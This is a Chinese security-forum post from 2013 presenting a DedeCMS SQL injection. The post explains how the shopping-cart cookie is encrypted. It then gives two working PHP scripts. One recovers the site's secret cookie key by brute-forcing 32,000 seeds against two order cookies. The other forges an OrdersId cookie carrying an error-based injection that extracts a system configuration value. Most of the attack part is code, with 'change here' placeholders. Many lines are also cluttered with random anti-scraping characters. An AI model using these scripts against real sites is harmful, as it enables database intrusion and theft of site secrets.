找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2124|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=$ c3 @  h! ^' B
在 include/shopcar.class.php中7 C. M' T& \: l# y. w
先看一下这个shopcar类是如何生成cookie的9 q* H" K) F1 l; m- [8 z
239      function saveCookie($key,$value)
# F) ?0 r; `! Z( d4 X8 i240      {) }3 S' O5 `, I! l( A  g
241          if(is_array($value)): @+ X: u  w% l# w0 f
242          {! e) ~: U9 B% E2 {! _3 z1 R
243              $value = $this->enCrypt($this->enCode($value));
7 o) Q/ b8 ?0 `& R- ^* T6 P+ J$ v) k244          }$ J8 S" V  K5 }# r
245          else1 |( s0 u) C' e4 d3 V. y2 F! }
246          {
# ]; z$ {( k& u  a# ?247              $value = $this->enCrypt($value);  ^' Y* Q( B' Y$ V
248          }. I5 w2 S/ K4 c2 L) @, I
249          setcookie($key,$value,time()+36000,’/');& c2 h+ x8 x; e8 D
250      }
; p. j# f- j9 E7 J简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数4 s( l3 G2 B. t' ?8 j9 C
186      function enCrypt($txt)) u5 ?% C5 L- o1 `. _: N7 d* i
187      {
# q) n% v8 _. h) D) Z2 D188          srand((double)microtime() * 1000000);
) W/ K: |# M/ R1 n' Z( K) ?: Y189          $encrypt_key = md5(rand(0, 32000));
( B; v: S/ n& W% a- d: r8 B& H2 X. l190          $ctr = 0;
( z# {' \/ j9 m+ q( [, E! p191          $tmp = ”;
( _& q! q  Y, ?! [192          for($i = 0; $i < strlen($txt); $i++)
% D1 \+ C. e, M2 @193          {. B; K6 ]* K. C1 k4 y
194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;2 ?5 ~$ y) R4 K+ Q7 k% O! J5 R
195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);8 |8 I0 A/ B4 ]2 G
196          }# J& c. q  o1 C: D6 f' Q: _6 u
197          return base64_encode($this->setKey($tmp));$ |9 w- \" p" \" y7 ?
198      }
% F' X4 M' G0 n" M! x( z) t213      function setKey($txt)  a4 O) K4 m2 E$ h( G
214      {
& N2 Z9 |9 m& a215          global $cfg_cookie_encode;; A$ S. N% R# p
216          $encrypt_key = md5(strtolower($cfg_cookie_encode));1 K8 J" I2 A% g7 H5 }: ]
217          $ctr = 0;
/ X8 n( h" ~  _7 s& E" k$ c' m3 A: @218          $tmp = ”;
* D; j5 F  T, ^7 ^. k; ?219          for($i = 0; $i < strlen($txt); $i++)
3 n5 ?, D* z# V4 r  o+ _220          {* j' c6 ]' z+ E2 ^& V# J) D# b8 I7 F
221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;" V; x, s! J, P! T, P. |' ^
222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];) r- w  w5 z" T
223          }. O% ~. g! {* ~9 p  Y
224          return $tmp;
3 l# X2 S# s' b225      }0 n% l, d& K! G( N) _
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
/ z5 \- D2 U& M( s; r) a然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。0 ^( Z4 i& }" b/ M6 i7 C& {
具体代码如下:
9 x  r5 s  b, }/ o1 z<?php( k* |7 W9 k" `  o/ `+ ]
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here; A3 w# G" s4 G9 U+ F- y% n( S
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here' w) K. A# M3 T$ F- R
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
9 L! d- h3 J1 w# |8 Nfunction reStrCode($code,$string)
+ d' @. [# N6 G6 y{
& F. E% c! q  s& L: [+ _' @6 o$code = base64_decode($code);: Q3 w( z3 M8 G5 [# {6 o
$key = “”;
3 o/ z& T2 I6 k9 ?+ q2 Afor($i=0 ; $i<32 ; $i++)* N( B2 U/ B# c8 s
{1 Y6 \' j$ E; u& Y
$key .= $string[$i] ^ $code[$i];
3 x, q/ l/ ^) t- J}
# R! C2 I9 Z* p# l1 rreturn $key;
) m9 v# b3 k, y  `}5 J! U* {9 w* r4 e* z$ ?
function getKeys($cookie,$plantxt)
6 H* e/ e  S, _* J{
) \, |4 P; ~7 [9 p/ i$tmp = $cookie;: x* X6 D6 U; n0 Q! l6 x
$results = array();
) V9 K4 b7 ?8 q0 X5 `for($j=0 ; $j < 32000; $j++)
7 ]8 y& W5 X: G; J6 X( N  c{
) n. z  M% B3 `6 b& q( Q! P& Q- p. x: q
$txt = $plantxt;  M# F6 H9 a, F
$ctr = 0;
$ b) W/ l3 u* q$tmp = ”;
6 {0 z" e4 Q: S/ M* }; g$encrypt_key = md5($j);
# T1 O4 V% h- v* y) ]; Ffor($i =0; $i < strlen($txt); $i ++)
9 {' r7 v3 }3 W5 N  s{+ g. X& R% _0 O. x, \) E* d9 r
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
7 M4 l* E7 r* T* {6 d$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);! H/ ]0 k/ T8 n+ W2 V8 W
}
. y* C8 A4 |' j) r$string = $tmp;/ i( W# `/ \; e  g
$code = $cookie;2 k- C! }1 k  K4 V  K9 x( S& j
$result = reStrCode($code,$string);
" Z, z; ]$ F& s6 g& L, ~if(eregi(‘^[a-z0-9]+$’,$result)). R' _3 F8 P& @/ b3 {% l$ b+ G8 [
{
7 F! M/ p( |2 _1 w5 I  |echo $result.”\n”;% b4 ^5 [7 i7 X! V+ E" x! k. }
$results[] = $result;
  E) n9 O, P! j}' f' O; \8 K" L+ z
}% c3 f2 o. {4 {, F( E
return $results;9 k# N, \. A; u9 C9 D
}% _: b* f5 V  Y2 G- Y. ]. N
$results1 = getKeys($cookie1,$plantxt);; V+ S% U! W* g3 e! k" C
$results2 = getKeys($cookie2,$plantxt);7 H# X" b* F6 N5 P4 _% H5 e
print “\n——————–real key————————–\n”;
) D1 m8 c/ `" t! H8 h* V. q( q7 wforeach($results1 as $test1)1 _1 R/ @5 ~. f  U  f( |& T# D
{; v# R  b# U, x# @
foreach($results2 as $test2)
2 t9 F/ u. |6 B% f( f! X, K{
$ g' ?5 p* _- p- \% {% c+ Qif($test1 == $test2)
4 G. I; F3 a+ M5 l1 }; ~{
6 i- z0 `1 g7 [echo $test1.”\n”;1 s- k9 b7 U# C' g  T* |
}
* C( n- ~/ [/ a- N. j2 e! D# T4 ~: M: t}' s5 Z6 H0 i$ H3 s6 Z3 c" I6 M2 I
}/ V3 n0 k3 d0 X7 X  T' i% k4 v, u7 v
?>
7 @. J4 N9 v2 U# d7 j3 }6 d& X; \9 Wcookie1 和 cookie2 是我下了两次订单后分别生成的cookie,7 Y, V% J) o( Y$ i
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
- m* k8 Q$ m- f) m然后推算出md5(strtolower($cfg_cookie_encode))
4 o9 b! r/ \, G4 S2 K, P得到这个key之后,我们就可以构造任意购物车的cookie
+ f# Z3 t! p$ J2 [8 ^( l接着看
" ~  @) l$ I3 q! B$ Q" D20  class MemberShops; F; H. h; }  h
21  {
( K) `" w3 E7 f* h+ j22      var $OrdersId;
$ v9 j7 F+ w0 ]; N; W23      var $productsId;/ V: E" O: b! E  j2 t  e
24. S' k8 b2 ]) e
25      function __construct()/ L) k5 ~# h+ T& Q8 y6 n
26      {
- x+ A; z" b* b27          $this->OrdersId = $this->getCookie(“OrdersId”);, q+ U, W# |5 T$ g' c4 r6 q) J) }
28          if(empty($this->OrdersId))* I4 {- ^( O, j4 W8 f1 T$ [' K9 q
29          {
* i" T& u8 S3 ]* |0 w: ~30              $this->OrdersId = $this->MakeOrders();
+ @" h1 [( y5 H31          }4 y( }3 ]6 u1 D
32      }
2 \6 [& f( D8 e1 O9 o发现OrderId是从cookie里面获取的- S+ t+ O* a6 `
然后4 k: I: ~. k: b- r4 `8 T& H
/plus/carbuyaction.php中的
+ h1 ]4 x7 ^2 M/ Y3 C29      $cart    = new MemberShops();- V. [- ]* [5 }
39      $OrdersId = $cart->OrdersId;        //本次记录的订单号
0 v  A3 e/ J. Q0 e( J  ?" y……; t# I0 `; v5 X) Q, r+ P: \7 i
173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);2 `- [/ n' K6 q& z" ~
接着我们就可以注入了/ e; h! }, n1 x9 S+ M) W
通过利用下面代码生成cookie:
/ t; i1 E1 D& _# b( R: |+ c<?php: A8 F) x  a/ p: }0 e2 W1 B
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
/ C3 W! \- g2 s$ `; L6 H' r5 D$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here# n8 D7 G- ~# g, N
function setKey($txt)
4 g) w1 I3 Q4 U" _{
! |& ]% T8 J) ^7 y/ C, s: Xglobal $encrypt_key;
; ^7 d7 Y8 b2 f6 m  O( {$ctr = 0;
1 p8 g) }7 M. O- f$tmp = ”;
" L3 A! m" y. B1 P: n; o' bfor($i = 0; $i < strlen($txt); $i++)
. G' ^4 }) u2 k- ]4 S{
- Q0 U6 p" h$ }5 `' ~$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
7 l2 a* X* b9 u$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];1 |8 n1 C& E" S% H" h) `( m
}% o* W6 C7 F9 R& p4 c; v) N
return $tmp;8 [: q( q( B; H
}2 [* Y" A4 C# E8 F" H  u
function enCrypt($txt)
" n/ F9 x( j- w{6 G0 @0 u3 o3 r& W  F9 F2 D9 T
srand((double)microtime() * 1000000);* P0 q. A* q, B
$encrypt_key = md5(rand(0, 32000));0 ^8 h; d  C6 x  s4 x
$ctr = 0;
% q4 v) v1 \! F# `7 W) e$tmp = ”;0 w! P( R; h% I$ z0 z& `
for($i = 0; $i < strlen($txt); $i++)* s6 a; `0 o6 o( o9 y
{
( l7 T& S! c  X% d7 Y$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
& O. W7 _" v# F- h0 J0 e0 ?# c$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);7 B5 b; p* O: u% Y! [7 y  I2 E
}
. {( B9 ~: _0 j) E! F  \return base64_encode(setKey($tmp));
$ R9 {- k# q; s  E: |}" k) E, w7 b/ W7 S- D
for($dest =0;$dest = enCrypt($txt);)
0 c3 p% h, i6 a  \{. H* U% @' Y2 a1 z& j
if(!strpos($dest,’+'))% ?% j+ D( }& L! f; t; O; J- P3 H
{
7 F8 M0 f1 T8 \) Xbreak;
' |  I: X0 H& a8 w}0 k. z- q) z- U5 e
}( o% F. T6 Y1 ?, C& p5 |3 T/ n
echo $dest.”\n”;
. j. b0 c* p8 |5 z( a* Q?>
2 c1 n  q0 X8 J' r+ ^& W% \: T9 ^
# ]& \" Y8 w; `7 s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表